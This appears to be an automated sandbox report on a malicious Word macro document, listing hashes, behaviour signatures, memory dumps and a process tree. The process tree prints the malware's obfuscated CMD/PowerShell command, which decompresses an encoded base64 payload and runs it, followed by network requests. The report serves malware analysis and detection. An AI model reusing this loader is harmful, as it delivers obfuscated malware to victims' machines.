Analysis

  • max time kernel
    147s
  • max time network
    166s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 21:48

General

  • Target

    76ddd79d0ee84395b6feb5a11b97af610346b95ccd8f4b9a1a2ffd46d3f0e24c.doc

  • Size

    78KB

  • MD5

    1f9ff6ff0a0a7398da1cb639107c5f70

  • SHA1

    ee7c0c29ae72eee830a18daa7ee1dfc85b354f40

  • SHA256

    76ddd79d0ee84395b6feb5a11b97af610346b95ccd8f4b9a1a2ffd46d3f0e24c

  • SHA512

    0ec22628ef5f1ee362ca5b939a046e5c3281598344df3d7a9b0a69a7dbda1e7c593fc3ea6945735d21408b4c84a96a5577dabf9a0a08d90ee8b2d010ad51c04f

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\76ddd79d0ee84395b6feb5a11b97af610346b95ccd8f4b9a1a2ffd46d3f0e24c.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1364
      • C:\Windows\SysWOW64\CMD.exe
        CMD C:\WinDOWS\SYStEm32\CmD.EXe /C "SEt LRg= ( new-oBjeCt IO.sTreAmreadeR(( new-oBjeCt io.CompressIoN.dEFLaTesTrEAM( [iO.MEmOrysTreAM][SYSTEM.cOnvERt]::fromBaSE64STRiNg('TZDRSsMwFIZfpReBrMylil7oQmGsQ9jUwqagiDdpdtrUZklJz9bWsne3LSrenu+c7+f85P1lGxqoZzb5BIleDMheIYl0DgY5iaqHkCrEch4EdV2z6rgXRoEumXVZcPv0iGWz+OEpOIEWbSa+mLSHYBv9EtkKY8QBnDy6dmTR8u9MVAqFyURqHdN5CkF8ebdZxot/qUJDmlhbVGgdVKNANQVlz6XOcUIX1OfkrYq80KM3V9eUk912ExIwpznCoZzSDzod+JQyaIDyPgmEVBOSr5SXG2/40u/QtR3p22ArWxttxf4+1zDuXHiD0Odrc7IFzNa9dJzwpPcU/CwFStWdz98=' ) , [sYStEm.io.COMPreSSion.coMpRESSioNMoDE]::dECOMPrESs) ), [SySTem.text.EnCoding]::AsCii) ).REaDtoEND() ^|. ( $sHElLiD[1]+$SHeLlid[13]+'X')&& POwErSHEll ( ^&(\"{1}{0}\" -f'et-ITEm','G' ) ( \"{0}{1}\" -f 'EnV:L','RG' ) ).\"Va`LUE\" ^|. ( ${PS`HOME}[4]+${p`shoME}[34] +'x' )"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          POwErSHEll ( &(\"{1}{0}\" -f'et-ITEm','G' ) ( \"{0}{1}\" -f 'EnV:L','RG' ) ).\"Va`LUE\" |. ( ${PS`HOME}[4]+${p`shoME}[34] +'x' )
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:600

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/600-71-0x000000006AEB0000-0x000000006B45B000-memory.dmp

      Filesize

      5.7MB

    • memory/600-68-0x000000006AEB0000-0x000000006B45B000-memory.dmp

      Filesize

      5.7MB

    • memory/600-67-0x0000000004BC0000-0x0000000005211000-memory.dmp

      Filesize

      6.3MB

    • memory/600-66-0x000000006AEB0000-0x000000006B45B000-memory.dmp

      Filesize

      5.7MB

    • memory/1272-62-0x00000000006C3000-0x00000000006E4000-memory.dmp

      Filesize

      132KB

    • memory/1272-61-0x00000000006C3000-0x00000000006E4000-memory.dmp

      Filesize

      132KB

    • memory/1272-54-0x0000000072881000-0x0000000072884000-memory.dmp

      Filesize

      12KB

    • memory/1272-59-0x00000000712ED000-0x00000000712F8000-memory.dmp

      Filesize

      44KB

    • memory/1272-57-0x0000000075A11000-0x0000000075A13000-memory.dmp

      Filesize

      8KB

    • memory/1272-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1272-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1272-70-0x00000000712ED000-0x00000000712F8000-memory.dmp

      Filesize

      44KB

    • memory/1272-55-0x0000000070301000-0x0000000070303000-memory.dmp

      Filesize

      8KB

    • memory/1364-60-0x000007FEFBF31000-0x000007FEFBF33000-memory.dmp

      Filesize

      8KB